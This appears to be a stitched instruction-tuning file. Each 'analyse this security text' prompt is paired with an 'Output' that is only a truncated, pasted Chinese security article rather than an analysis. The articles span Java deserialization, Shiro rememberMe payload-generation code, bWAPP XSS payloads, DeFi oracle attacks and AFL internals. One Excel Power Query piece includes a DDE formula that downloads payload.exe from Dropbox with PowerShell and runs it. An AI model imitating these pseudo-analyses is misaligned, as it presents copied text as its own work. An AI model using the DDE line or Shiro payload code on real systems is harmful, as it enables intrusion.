    env.put(Context.PROVIDER_URL, "iiop://172.16.45.148:2809");
    InitialContext initialContext = new InitialContext(env);
    initialContext.list("");
根据文章中的描述我们来到TxServerInterceptor这个拦截器的receive_request方法中，根据博主的描述在到达反序列化点之前的执行路径如下所示
我们先从TxServerInterceptor的receive_request方法开始调试。
我们运行IIOP客户端，向WebSphere发送请求，但是很快就发现执行链中的第二个断点并没有被执行，我们来看下源码
从源码中看出，想要执行到调用TxInterceptorHelper的demarshalContext()方法处要满足两个判断，即`validOtsContext=true`
和`TxProperties....


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# BlackHat2016第一天部分精彩议题分享（含PPT下载）
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**想下载PPT的来这里**
**官方地址：**[
**https://www.blackhat.com/us-16/briefings.html**](https://www.blackhat.com/us-16/briefings.html)
**国内网盘镜像：**[
**https://yunpan.cn/c6kigEevIGK9w**](https://yunpan.cn/c6kigEevIGK9w)
**（提取码：9419）**
**议题:**
**$HELL ON EARTH: FROM BROWSER TO SYSTEM COMPROMISE (从浏览器漏洞利用到SYSTEM权限）**
演讲者的照片和介绍
**演讲内容:**
通过浏览器或者默认浏览器插件来获得远程系统的SYSTEM/root权限,这在以前的pwn2own比赛中是很少见的,这个议题将会讲解今年Pwn2Own比赛中的Exploition
chains(总共21个漏洞),议题会覆盖针对当代流行浏览器的利用,内核UAF漏洞的利用,以及内核中的目录递归漏洞和逻辑漏洞利用。议题中会详细分析所有的攻击面,利用技术,以及缓解措施(比如通过应用沙盒)。
**议题:**
**A JOURNEY FROM JNDI/LDAP MANIPULATION TO REMOTE CODE EXECUTION DREAM LAND
（从历险 **JNDI/LDAP到远程代码执行的梦想大陆）****
演讲者的照片和介绍
**演讲内容:**
JNDI(Java Naming and Directory
Interface,Java命名和目录接口)是一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI
API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。JNDI可访问的现有的目录及服务有RMI, CORBA,
LDAP, or DNS等等。
这个议题将会讲解一种叫做"JNDI Reference Injection(JNDI参考注入)” 的新漏洞类型,起初发现于攻击Java Applets
(CVE-2015-4902)的恶意样本中,但是同样的概念也能用于攻击运行了JNDI查找的Web应用程序,如果攻击者能控制JNDI查找参数的话。在议题的演示中将会演示攻击者可以使用不同的技术运行任意代码在服务器执行JNDI查找时。议题会聚焦在RMI,LDAP和CORBA服务,因为这些服务几乎存在于每个企业的应用程序中
如果攻击者不能够修改LDAP的地址时,LDAP提供其他的攻击面,仍然可以修改LDAP目录,以及存储对象在LDAP执行搜索操作时来执行任意代码。
**议题:**
**A LIGHTBULB WORM? （编写LIGHTBULB蠕虫？）**
演讲者的照片和介绍
**
**
**演讲内容:**
可否想过通过蠕虫感染智能灯泡网络?这个议题会演示针对飞利浦Hue智能灯系统搭建的网络进行演示,黑进bridge,接着访问内部网络。也会讲到如何绕过加密的bootloader读取敏感信息,并对多个飞利浦hue智能灯泡固件的进行讨论。
**议题:**
**AMSI: HOW WINDOWS 10 PLANS TO STOP SCRIPT-BASED ATTACKS AND HOW WELL IT DOES
IT （Windows 10 如何阻止基于脚本的攻击，我们如何绕过他们）**
演讲者的照片和介绍
**演讲内容:**
在windows10系统中,微软推出了AntiMalware扫描接口 (AMSI)
用于阻止基于恶意脚本的对系统的攻击,基于脚本的攻击方法,尤其是利用powershell编写的恶意脚本,在近年来对企业网络的威胁日益增加,AMSI的目标就是检测用Powershell,Vbscript,Jscript等脚本编写的恶意程序,当恶意代码发到脚本主机执行的时候,AMSI会检测和扫描脚本的恶意内容。AMSI也提供了开放接口可以被其他程序调用,微软能否因此阻止掉基于恶意脚本的攻击吗?
这个议题伴随着大量的演示,比如使用AMSI检测恶意脚本常见的执行方式,恶意脚本的存储方式已经由传统的存于硬盘的脚本转向可以从WMI命名空间/注册表/系统日志导入,那么AMSI默认情况下能检测出来吗?
利用installUtil/regsrv32/rundll32绕过白名单来执行脚本,AMSI能检测出...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

在写过的上篇文章[【谈高效漏洞挖掘之Fuzz的艺术】](http://qclover.cn/2019/11/17/漏洞挖掘之WEB黑盒测试.html)中最后说到的黑盒测试与代码审计中的组合利用链Fuzz问题，刚好看到evil7师傅的[文章](https://xz.aliyun.com/t/6805)中也提到了类似的组合利用的有关思想，借用师傅"点亮"一词及本人曾经遇到过的一些实例也展开谈一下。

上篇文章最后说到可以组合利用压缩与解压的问题进行getshell。但是若解压的时候对压缩包中的文件内容进行了检测与校验。就不是简单的在压缩包中构造一个php文件了。
如，某插件安装时，上传及解压流程中，在对压缩包校验了包中的文件内容，校验了manifest的配置信息，以及manifest.xml文件且配置信息中的alias名称不能和之前重复才能解压安装成功。那么我们在审计中时就要发现其中的问题。

只要压缩包中存在manifest.xml文件且配置信息中的alias名称不和之前重复即可解压安装成功，因此攻击者可以伪造包含manifest.xml文件的zip包，zip包除了伪造的manifest.xml还包含php后面文件，安装成功后木马即存在自解压的模板目录下，直接getshell。原文可参考[代码审计之PHPWind](http://qclover.cn/代码审计之PHPWind.html)

审计时遇到这样一个业务功能，对应的代码下载文件时虽然有对文件名是否存在目录穿越符号../的检查但是if为真时却未退出结束程序的执行，而是继续执行将文件filename进行了移动到/ist/ist/web/data/hit_ips_pcap下,然后下载传入的/ist/ist/web/data/hit_ips_pcap目录下文件名为传入的filename,该下载不能够跨目录。直接传入payload`../../../etc/passwd`并不能下载任意文件读取成功。
但是，由于该下载默认信任了该目录下的文件。细心的我们可以找到切入点。该下载包含两个操作
1）下载前会进行文件移动，移动到指定安全不可访问的目录下
2）默认信任了该目录下的文件，没有校验文件内容
切入点移动的文件可控。那么我们可以发送两个包来进行任意文件读取。
1）移动动想要读取的文件
2）下载读取的该文件名。
第一个包：
第二个包
攻击者就可以任意读取/下载系统上的任意文件。
题中点亮的思想在于将看似没有危害的bug、报错、回显的路径信息组合构造可行的漏洞利用链，这一点不管在黑盒测试还是白盒审计我觉得都是值得深入研究的一点。
**注**
：关于[代码审计中的组合利用链]问题，若想深入理解，也可继续参考evil7作者关于《拿WordPress开刀——点亮代码审计技能树》的[译文](https://xz.aliyun.com/t/6805)所谈及到的思想。


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

有很长一段时间没写文章了，也很久没搞Java相关的漏洞研究了，因为工作需要，忙碌了好一段时间的后端开发，都有点落下安全相关的研究了，实属堕落。
最近研究了一下多个业内使用的RASP实现，对于RASP又有了更加深入的了解，其中，RASP的类加载机制，我个人觉得应该是RASP中最核心的地方，也是最容易出BUG的地方了。对于这个RASP比较核心的类加载机制，我在这篇文章中，将会以OpenRASP为基础例子，去对其原理进行讲解，并给出与之不同的实现，分析出各自实现的优劣点。
通过这篇文章，大伙应该能理解到OpenRASP的类加载设计，更甚者可能会想到其它更好的设计，希望大家可以多多交流，互相进步。
* * *
### 0x01 OpenRASP的Agent和Engine的关联
使用过OpenRASP的小伙伴都知道，OpenRASP存在rasp.jar和rasp-engine.jar这两个jar包，其中，稍微看过OpenRASP代码的小伙伴，应该都了解，OpenRASP中的Agent，也就是rasp.jar，它有两种使用方式：
  * 一种是通过安装器，把其安装到服务器根目录，例如tomcat，然后修改tomcat的启动脚本，插入-javaagent的vm参数，达到tomcat启动时引入OpenRASP
  * 另一种方式则是通过JVM提供的attach机制，在jar运行时，加载OpenRASP到JVM中，动态修改运行中的class
无论是通过哪种方式，在Agent加载到JVM运行时，都会在代码中，加载Engine，也就是rasp-engine.jar，然后启动Engine，Engine中是RASP主要的业务实现，它包含了和后端云控的联系相关代码，也包含了hook、detector等等相关代码
* * *
### 0x02 Agent是如何加载Engine
前面讲到了，在Agent加载到JVM运行时，都会在代码中，加载Engine，也就是rasp-engine.jar，那么，它是通过何种形式被加载的呢？此处看com.baidu.openrasp.ModuleLoader的相关代码
com.baidu.openrasp.ModuleLoader的静态代码块：
    static {
        ...
        Class clazz = ModuleLoader.class;
        // path值示例：　file:/opt/apache-tomcat-xxx/rasp/rasp.jar!/com/fuxi/javaagent/Agent.class
        String path = clazz.getResource("/" + clazz.getName().replace(".", "/") + ".class").getPath();
        if (path.startsWith("file:")) {
            path = path.substring(5);
        }
        if (path.contains("!")) {
            path = path.substring(0, path.indexOf("!"));
        }
        try {
            baseDirectory = URLDecoder.decode(new File(path).getParent(), "UTF-8");
        } catch (UnsupportedEncodingException e) {
            baseDirectory = new File(path).getParent();
        }
        ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
        while (systemClassLoader.getParent() != null
                && !systemClassLoader.getClass().getName().equals("sun.misc.Launcher$ExtClassLoader")) {
            systemClassLoader = systemClassLoader.getParent();
        }
        moduleClassLoader = systemClassLoader;
    }
看代码前半部分，可以看到（其实注释都有了，非常明确），是为了拿到...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 某cms任意上传
## 起因
在cnvd上看到了这个cms任意上传，即下载该源码审计。
## 审计!
该cms未使用框架，较为简单。
全局使用x.php进行过滤，内容为对get,post,cookie传参进行过滤
当然，本文核心还是找到他的任意上传.全局搜索$_FILES，找到调用上传的地方。发现其大部分使用白名单
后面在accountalert.php文件中发现此任意上传。
判断是否存在文件，存在即直接上传。无后缀回显，但并没有进行任何重命名。直接在/common/feng_img/+原文件名。
## 复现
直接上传即可，难点在于无源码下找到这个上传，并获取到返回路径。
## 总结
没有任何过滤，较为简单，其实这套源码前台还存在注入，x.php只是过滤了一些语句。只用替换and，or与form就能注入，具体就不分析了。


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# A-Journey-into-Synology-NAS-系列四-HTTP处理流程分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
前面两篇文章从局域网的角度出发，对群晖`NAS`设备上开放的部分服务进行了分析。而在大部分情况下，群晖`NAS`设备是用于远程访问的场景中，即唯一的入口是通过`5000/http(5001/https)`进行访问(暂不考虑使用`QuickConnect`或其他代理的情形)。因此，本篇文章将主要对`HTTP`请求流程和处理机制进行分析，并分享在部分套件中发现的几个安全问题。
## HTTP请求处理流程
在正常登录过程中抓取的部分请求如下，可以看到请求`url`包含`query.cgi`、`login.cgi`和`entry.cgi`等。根据群晖的开发者手册可知，与设备进行交互的大概流程如下：
  1. 通过`query.cgi`获取`API`相关的信息；
  2. 通过`login.cgi`和`encryption.cgi`进行认证，获取`session id`；
  3. 通过`entry.cgi`发送请求、解析响应；
  4. 完成交互后登出。
某个具体的请求示例如下，可以看到有点类似于`JSON-RPC`。对于大部分请求，其`url`均为`"/webapi/entry.cgi"`。在`POST`
`data`部分，`api`参数表示要请求的`API`名称，`method`表示要请求的`API`中的方法，`version`表示要请求的`API`版本。
针对`API`请求，群晖在后端采用`json`元数据文件`SYNO.***.***.lib`来定义与`API`相关的信息，示例如下。
    {
        "SYNO.Core.PersonalNotification.Event": {            // API名称
            "allowUser": [ "admin.local"],                    // 哪个组可以访问该API
            "appPriv": "",
            "authLevel": 1,                                    // 是否需要认证 (0表示无需认证)
            "disableSocket": false,
            "lib": "lib/SYNO.Core.PersonalNotification.so",    // 处理具体请求的文件
            "maxVersion": 1,
            "methods": {                                    // API中支持的方法以及对应的版本
                "1": [{
                        "fire": {
                            "allowUser": [ "admin.local","normal.local" ],    // 覆盖上面的定义
                            "grantByUser": false,
                            "grantable": true }
                    }]
            },
            "minVersion": 1,
            "priority": 0,
            "socket": ""
        }
    }
根据上述信息，可以知道如何构造一个具体的请求来触发后端的某个处理程序。
整体的`HTTP`请求处理流程大概如下。首先，请求通过`5000`端口发送给设备，基于请求的`url`，`nginx`服务会将该请求分发给不同的`cgi`，如`query.cgi`、`login.cgi`和`entry.cgi`，其中，`entry.cgi`是大部分`POST`请求的端点。这些`cgi`会与另外两个服务`synocgid`和`synoscgi`进行通信，其中`synocgid`负责处理与`session`相关的事务，而`synoscgi`则负责分发具体的请求到最终的处理程序。
## 安全问题
在理解了`HTTP`请求流程和处理机制后，便可以对群晖`NAS`设备的功能模块进行分析。在群晖`NAS`设备上，主要包含两大攻击面：`DSM`操作系统本身和群晖提供的...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

##### 0x00：背景
 shiro反序列化RCE是在实战中一个比较高频且舒适的漏洞，shiro框架在java
web登录认证中广泛应用，每一次目标较多的情况下几乎都可以遇见shiro，而因其payload本身就是加密的，无攻击特征，所以几乎不会被waf检测和拦截。
##### 0x01：shiro反序列化的原理
先来看看shiro在1.2.4版本反序列化的原理
这里是shiro拿到cookie后的关键代码，先decrypt再反序列化
跟到decrypt方法
调用具体的cipherService，传入加密后的数据和cipherKey进行解密
getDeryptionCipherKey()获取的值也就是这个DEFALUT key，硬编码在程序中
查看CipherService接口的继承关系，发现其仅有一个实现类JcaCipherService（静态可以这样看，动态调试会直接跟进去）
查看实现类的decrypt方法，可以看到iv即ciphertext的前16个字节，因为iv由我们随机定义并附加在最后的ciphertext前面，也就是说只要知道key即可构造反序列化payload
key是硬编码，后续官方修改为获得随机key，但正如一开始所说，存在开源框架配置硬编码key，因此在1.4.2以前很多shiro都可以通过略微修改脚本遍历高频key的方式去攻击，下图举例，github上有很多类似这样的代码
CBC算法的shiro生成payload的关键代码如下，也就是我们通用的生成shiro攻击代码
python中有实现aes-cbc的算法，通过指定mode为AES-CBC，遍历key，随机生成iv，配合ysoserial的gadget即可生成payload
    BS   = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        mode =  AES.MODE_CBC
        iv   =  uuid.uuid4().bytes
        file_body = pad(file_body)
        encryptor = AES.new(base64.b64decode(key), mode, iv)
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
##### 0x02：高版本下的利用
而在1.4.2以后由于padding
oracle的影响，shiro官方把加密方式改为了GCM，所以我们需要更改脚本，添加GCM下的攻击方式去攻击高版本的shiro，通过跟踪代码动态调试可以看出确实是使用GCM加密
所以shiro的攻击脚本中的核心代码我们来修改一下,GCM加密不需要padding，但需要一个MAC值（也就是我代码里的tag），这块可以自己跟一下源码，核心代码如下：
    iv = os.urandom(16)
        cipher = AES.new(base64.b64decode(key), AES.MODE_GCM, iv)
        ciphertext, tag = cipher.encrypt_and_digest(file_body)
        ciphertext = ciphertext + tag
        base64_ciphertext = base64.b64encode(iv + ciphertext)
        return base64_ciphertext
##### 0x03：获得key&回显&内存shell
从三月到八月有很多师傅写了很多文章集中在shiro的利用上，我也综合了各位师傅的想法和思路搞了一些脚本
1.key检测：
以前的脚本批量检测shiro的存在或者说获得key我们用到最多的还是ysoserial中的urldns模块，不过这个有一个问题就是如果不出网的话会有问题，所以这里还有一个新的办法就是使用一个空的SimPlePrincpalCollection作为我们要序列化的对象，也就是构造一个正确的rememberMe触发反序列化，如果key是正确的，响应包中不会返回rememberMe=deleteMe，这里一开始我想在脚本中通过检测返回包中是否有deleteMe关键字来做判断，结果发现有一些环境本身就会返回rememberMe=deleteMe，因此最终选择了一...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Mimecast研究人员发现微软Excel工具的漏洞，利用该漏洞可以远程执行嵌入的恶意payload。
# 概述
研究人员发现使用Excel中的Power Query可以动态启动远程DDE（Dynamic Data
Exchange，动态数据交换）攻击，并控制payload Power Query。
Power Query 是一个Excel插件，也是Power
BI的一个组件，可以通过在Excel中通过简化数据发现、访问和合作的操作，从而增强了商业智能自助服务体验。
Mimecast研究人员发现Power Query可以用来发起复杂的、难以检测的攻击活动。攻击者使用Power
Query可以将恶意内容嵌入到单独的数据源中，然后当该内容打开时将内容加载到表单中。攻击者可以用恶意代码来释放和执行可以入侵用户机器的恶意软件。
该特征可以让攻击者在传播payload之前对沙箱或受害者机器进行指纹操作。攻击者还有潜在的pre-payload和pre-exploitation，可以传播恶意payload到受害者机器同时使文件绕过沙箱和其他安全解决方案。
下面研究人员提供一个利用Power Query来启动DDE漏洞利用来释放和执行payload的潜在漏洞利用方式。
# Power Query作为攻击面的潜在风险分析
因为Power
Query是微软Excel中一个强大的工具，因此该特征被滥用的潜在威胁也很大。如果该漏洞被利用，就可能会被用于发起融合多个潜在攻击面的复杂攻击，包括本地权限提升、DDE攻击和远程代码执行漏洞利用。
Power Query特征可以使攻击者很容易并动态地嵌入远程内容。这种攻击很难检测，而且攻击者有更多的机会来入侵受害者机器。利用Power
Query中的潜在漏洞，攻击者可以将恶意内容嵌入到payload中，但恶意内容本身并不会下载。
为了证明Power
Query如何被用于发起DDE漏洞利用，可以将保存payload的外部web页面加载到电子表格中，这样就可以写一个定制的、简单的HTTP服务器到保存payload的web页面。HTTP服务器监听80端口并将DDE内容作为来自电子表格的请求的响应消息。
    =cmd|'/c powershell -command "& { iwr https://www.dropbox.com/s/jo94jn2s3j84mfr/payload.exe?dl=1 -OutFile payload.exe }";cmd /c payload.exe'!A1,
Excel 2016表格使用Power Query来请求恶意web页面（`http://127.0.0.1:80`）
远程内容被取回并加载到电子表格中。
Wireshark获取的数据可以看到攻击流。第一个标记的包含有DDE格式：`payload.exe`保存的`dropbox.com`的DNS请求，保存和传播payload的HTTPS会话。
# 文件格式分析
下面分析文件格式，`table/table1.xml`是用特征`name: “localhost”`(默认)和`type:
“queryTable.”`创建的。
表和特定查询表特征的链接在`.”rels”`流(`_rels/table1.xml.rels`)中有描述，其中含有`target`域，指向的是`../queryTables/queryTable1.xml`。`quetyTable1.xml`含有使用`connectionId`域链接`connection.xml`的数据。链接是用`Select
*`命令和dbPr对象实现的。
Web查询本身保存在文档`xl\customXL\item1`中，是base64方式编码的。
Base64解码后，研究人员打开文档section1，其中含有查询本身。
为了让DDE运行，用户需要双击该单元格来加载DDE，然后再次点击来释放。这些操作会触发DDE并启动从web端接收的payload。
# 绕过双击：启用自动执行
为了绕过点击才能运行的问题，研究人员进一步分析发现，老版本的office中的`Get External Data>> From
Web`实现有一点不同。在使用Office
2016时，会创建dbPr，用户会被要求激活payload。而在老版本的office（2010版本）中，在`Connections.xml`下创建
的对象并不是dbPr，而是webPr。与dbPr不同，webPr更加简单一些，不需要任何交互就可以运行payload。
# 绕过AV和沙箱：使用有漏洞的Power Query工具
在web请求（查询）中添加header，payload就可以绕过拦截特定恶意内容的AV和沙箱。...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 【技术分享】自动绑定漏洞和Spring MVC
|
##### 译文声明
本文是翻译文章，文章来源：agrrrdog.blogspot.co.id
原文地址：<http://agrrrdog.blogspot.co.id/2017/03/autobinding-vulns-and-spring-mvc.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[testvul_001](http://bobao.360.cn/member/contribute?uid=780092473)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言
**
今天介绍一个不是很出名的漏洞— **自动绑定漏洞** （或者称为mass
assignment）。自动绑定功能在很多框架里都实现了，它允许框架自动将HTTP请求中的参数绑定到对象中并便于开发者访问。然而攻击者可能将额外的HTTP请求参数绑定到一个对象上，当软件中存在逻辑问题时，攻击者就可以做一些有意思的事情。
自动绑定功能在框架中很流行，所以这种漏洞的攻击面按理来说是很广的，但是通常我们在没有源代码的情况下是很难发现它们的，并且每个漏洞的影响都取决于应用本身的逻辑。
**相关资料**
如果你之前没有听说过这种漏洞，可以先到OWASP上看看介绍（上面有几个简单的例子）：<https://www.owasp.org/index.php/Mass_Assignment_Cheat_Sheet>
。Ryan Berg 和Dinis Cruz 在2011年发表了一个关于这个漏洞和Spring
MVC的详细例子的paper（<https://o2platform.files.wordpress.com/2011/07/ounce_springframework_vulnerabilities.pdf>
）。
**新的特性**
那个paper已经是很久之前发表的了，现在Spring MVC已经不同于那时候了，它变得更酷了。
当我准备给最近的ZeroNigths HackQuest活动出题目时，我想出些和自动绑定相关的漏洞，这样人们就会更熟悉这种漏洞。
正如我之前说的，Spring
MVC已经改变了，它变得更加的敏捷，有很多新的特性。其中之一是使用注释来做一些“magic”的事情。因为一些对这些特性的误解，我们能够在意想不到的地方发现自动绑定漏洞。
下面我们来看看官方的说明（[http://docs.spring.io/spring/docs/3.1.x/spring-framework-reference/html/mvc.html](http://docs.spring.io/spring/docs/3.1.x/spring-framework-reference/html/mvc.html)）：
如果你并不了解Spring
MVC，不要慌，通过下面的例子你就清楚了。上面的2-4有什么共性？它们都和方法中的数据传递相关！获取传递给方法的参数的一个方式是在方法的参数上使用@ModelAttribute（就如1中描述的那样）。但是这种方式会导致自动绑定漏洞，为什么？因为@ModelAttribute
过于敏捷了，我们来看一下完整的描述：
首先，@ModelAttribute从
model中（或者其他地方）获得一个对象，然后使用用户的请求request来赋值。开发者本来想从model中获取可信的数据，但是攻击者可以通过发送一个特别构造的请求改变这些数据。
我给ZN HQ设置了两个关于这个漏洞的任务，具体代码在：
<https://github.com/GrrrDog/ZeroNights-HackQuest-2016> 。
**任务一：Edik**
这个例子有三个页面：注册，认证，home。我们的目标是在home页面进行表达式语言注入。这个任务的难点在于用户只能在注册流程中输入数据。应用中存在一个user
类，该类有3个变量（name, password, weight）。注册controller如下：
如图，controller从用户的请求（request）中获得User 对象并进行验证，如果通过验证，就把这个对象放到”DB”中。
验证过程很严格，因为使用了白名单，所以我们只能使用数字和字母。那我们要怎样在user对象中使用特殊字符呢？
攻击者要怎么做呢？让我们看看认证和home模块吧：
**认证的流程很简单：**
1、从用户请求中获得username 和 password。
2、使用1中的username和password从 db中获取一个user 对象。
3、将这个user对象放到FlashAttribute中，然后跳转...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 1.bWAPP HTML Injection (HTML注入)
## **HTML Injection - Reflected (GET)**
get方式的html代码注入
漏洞url：<http://range.anhunsec.cn:82/htmli_get.php>
### **Level: low**
低级漏洞中，输入数据没有做校验，不经任何处理地接受用户数据
输入payload：
First name:
# hello
Last name:
# test
或者输入payload：
    <a href="https://www.baidu.com">baidu</a>
可跳转到百度页面
或者输入payload：`<script>document.write(document.URL)</script>`
document对象 ：代表整个HTML 文档,可用来访问页面中的所有元素
document.URL：设置URL属性从而在同一窗口打开另一网页
document.write()：动态向页面写入内容
或者输入payload：`<script>alert(document.cookie)</script>`，弹cookie
或者输入payload：`<script>alert(/xss/)</script>`，弹xss
### **Level: medium**
输入low级别的payload：`<script>alert(/xss/)</script>`，发现被全部显示
抓包，会发现/)<符号均被编码
0,1,2分别对应三个等级，可以查找对应的/bWAPP/bwapp/htmli_get.php文件，三个等级分别要进行不同的检测
中级漏洞中，黑名单机制，转义了部分危险数据
这里使用了urldecode函数，对字符串进行URL解码，返回的是已解码的字符串
所以可以在输入框输入编码后的代码，可以通过URL编码绕过
First name: %3Ch1%3Ehello%3C/h1%3E
Last name: %3Ch1%3Eworld%3C/h1%3E
输入部分转义数据,payload为:
%3ca+href%3d%27https%3a%2f%2fwww.baidu.com%27%3ebaidu%3c%2fa%3e
### **Level: high**
输入medium级别的payload：%3ca+href%3d%27https%3a%2f%2fwww.baidu.com%27%3ebaidu%3c%2fa%3e，发现被全部显示
高级漏洞中，使用了htmlspecialchars()函数过滤，把预定义的字符&," ,’ ,<,> 转换为 HTML
实体，是安全的,输入的代码没有被执行， 不可绕过
## **HTML Injection - Reflected (POST)**
漏洞url：<http://range.anhunsec.cn:82/htmli_post.php>
操作同HTML Injection - Reflected (GET)一样，只不过是成了post方式。
输入payload：
First name:
# hello
Last name:
# test
得到这样的结果
## **HTML Injection - Reflected (Current URL )**
漏洞url：<http://range.anhunsec.cn:82/htmli_current_url.php>
### **Level: low**
正常情况下显示如下
由于url中输入自动转义成urlcode，在burp中还原成原始字符即可
构造url：`http://range.anhunsec.cn:82/htmli_current_url.php?a=<script>alert('xss')</script>`
burp抓包，将编码部分改成正常的
会看到弹出xss
### **Level：medium &high**
尝试抓包修改为正常的并不能成功
查看源码
找到htmli _current_ url.php文件后，发现这样的一段代码，发现在case"2"时要进行xss_check_3的检测
（xss_check_3见HTML Injection - Reflected (GET)的high级别）
## **HTML Injection - Stored (Blog)**
漏洞url：<http://range.anhunsec.cn:82/htmli_stored.php>
### **Level：low**
发现有输入框，尝试一下xss注入，输入payload：`<script>alert(/xss/)</script...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

**作者：w2ning
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：paper@seebug.org**
## 写在前面的废话
以下是对2022年上半年3个独立攻击事件的汇总分析, 虽然漏洞原理各不相同, 但他们都有一个共同点:
攻击者不再只依赖`FlashLoan`进行`Single-Transaction-Attack`(我自己瞎起的说法).
而是真金白银地砸出数百万美金去操纵价格,制造漏洞触发的前置环境, 最后成功完成恶意攻击.
如果2022年之前的攻击者们还只是钻研代码, 空手套白狼的穷小子.
那么非常明显的, 2022年之后的他们不仅更加专业, 而且手上弹药充足, 人均索罗斯了可以说.
这样的大环境对众多Dapp的鲁棒性提出了更高的要求, 曾经被认为安全的经济模型或许需要重新思考:
> 所谓`高昂`的攻击成本是否还可以让那些心怀恶意的人望而却步.
以下3个事件按时间顺序排列
## Fortress
2022年5月9日, 攻击者通过预言机合约`Chain.sol`的`submit()`函数未授权调用的问题,
恶意操纵了`FTS`的价格, 用原本低价值`FTS`抵押借贷了多种高价值Token离场
但其实攻击者早在4月就已经开始了前置准备工作:
1.4月27日,分配购买大量的`FTS`
2.5月2日,发布恶意提案
因为在此前`FTS`并不是官方承认的抵押物, 并不能凭`FTS`借出其他Token
所以提案内容就是把`FTS`添加进`collateral`的名单中
<https://bsc.fortress.loans/vote/proposal/11>
3.5月9日,提案正式通过后, 部署攻击合约
攻击合约在一次Transaction中同时完成了`执行提案??篡改价格??添加质押??借出其他Token`的操作
非常耐心了属于是.
## DEUS
2022年4月28日, DEUS所使用的`Muon VWAP`预言机被恶意操纵价格, 导致`DEI`的价格翻了20倍.
攻击者用`DEI`超额借出约1300万美金的资产离场
1.跨链转入两百多万的`USDC`作为攻击预备资金
2.随后在`USDC/DEI`交易对上精心构造了一笔`200万USDC??10万DEI`的`swap`,先实现对`Muon VWAP`预言机喂价的操纵.
3.丧心病狂的调用了22个不同Dex不同池子的闪电贷...
(在Trace中点开至少22*3层嵌套才找到核心攻击逻辑是一种怎样的体验?)
这一举动几乎借空了`Fantom`链上的1.4亿`USDC`, 再次在`USDC/DEI`交易对上兑换`DEI`
确保`USDC/DEI`交易对的价格和`Muon VWAP`预言机的链下签名喂价保持一致.
<https://ftmscan.com/tx/0x39825ff84b44d9c9983b4cff464d4746d1ae5432977b9a65a92ab47edac9c9b5>
4.最后抵押`USDC/DEI`的LPToken, 借走1700万的`DEI`, 换回`USDC`, 归还22个闪电贷, 带着约1300万美元的利润跨链离场
<https://ftmscan.com/address/0x750007753eCf93CeF7cFDe8D1Bef3AE5ea1234Cc#tokentxns>
> 这次攻击事件我是真的服气
>
> 不论是前期巨额的预备资金
>
> 22次闪电贷的嵌套调用
>
> 还有对`链下预言机`和`链上交易对`运行机制的理解
>
> 我佩服的五体投地
>
> 或许1300万美金只能在`Rekt`上排第41位
> 但是在我心里它排前三
## INVERSE
2022年4月2日, `INV`的价格被恶意操纵, 损失约1500万美金
1.从混币器中取出900个`ETH`作为攻击预备资金
2.在`INV-WETH`交易对上进行swap操作, 用500个`ETH`换`1700`INV, 一定程度上操纵了价格
<https://etherscan.io/tx/0x20a6dcff06a791a7f8be9f423053ce8caee3f9eecc31df32445fc98d4ccd8365>
说一定程度是因为`Inverse Finance`所使用的预言机为`Sushi Twap`
它会采样每个块的第一笔与`INV`有关的历史交易价格作为参考,加权平均算出当前价格
也就是说, 攻击者需要在时间窗口期,多个块区间内维持这一扭曲的价格.
3.于是攻击者开始通过多个地址发布垃圾交易, 挤占整个区块
排挤掉其他正常的交易, 确保扭曲的价格不被其他人破坏
攻击者通过`Disperse`把361.5个`ETH`平均分...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

## 三、AFL的fuzzer —— afl-fuzz.c
### 1\. 、概述
AFL中最重要的部分便是fuzzer的实现部分——`afl_fuzz.c`
，其主要作用是通过不断变异测试用例来影响程序的执行路径。该文件代码量在8000行左右，处于篇幅原因，我们不会对每一个函数进行源码级分析，而是按照功能划分，介绍其中的核心函数。该文件属于AFL整个项目的核心中的核心，强烈建议通读该文件。
在介绍源码的同时，会穿插AFL的整体运行过程和设计思路，辅助理解源码的设计思路。
在功能上，可以总体上分为3部分：
  1. 初始配置：进行fuzz环境配置相关工作
  2. fuzz执行：fuzz的主循环过程
  3. 变异策略：测试用例的变异过程和方式
我们将按照以上3个功能对其中的关键函数和流程进行分析。
### 2、核心源码分析
#### 1\. 初始配置
##### 1.1 第一个while循环
    while ((opt = getopt(argc, argv, "+i:o:f:m:b:t:T:dnCB:S:M:x:QV")) > 0)  ... ...
该循环主要通过 `getopt` 获取各种环境配置、选项参数等。
##### 1.2 setup_signal_handlers 函数
调用 `sigaction` ，注册信号处理函数，设置信号句柄。具体的信号内容如下：
信号 | 作用
---|---
SIGHUP/SIGINT/SIGTERM | 处理各种“stop”情况
SIGALRM | 处理超时的情况
SIGWINCH | 处理窗口大小
SIGUSER1 | 用户自定义信号，这里定义为skip request
SIGSTP/SIGPIPE | 不是很重要的一些信号，可以不用关心
##### 1.3 check_asan_opts 函数
读取环境变量 `ASAN_OPTIONS` 和 `MSAN_OPTIONS`，做一些必要性检查。
##### 1.4 fix_up_sync 函数
如果通过 `-M`或者`-S`指定了 `sync_id`，则更新 `out_dir` 和 `sync_dir` 的值：设置 `sync_dir` 的值为
`out_dir`，设置 `out_dir` 的值为`out_dir/sync_id`。
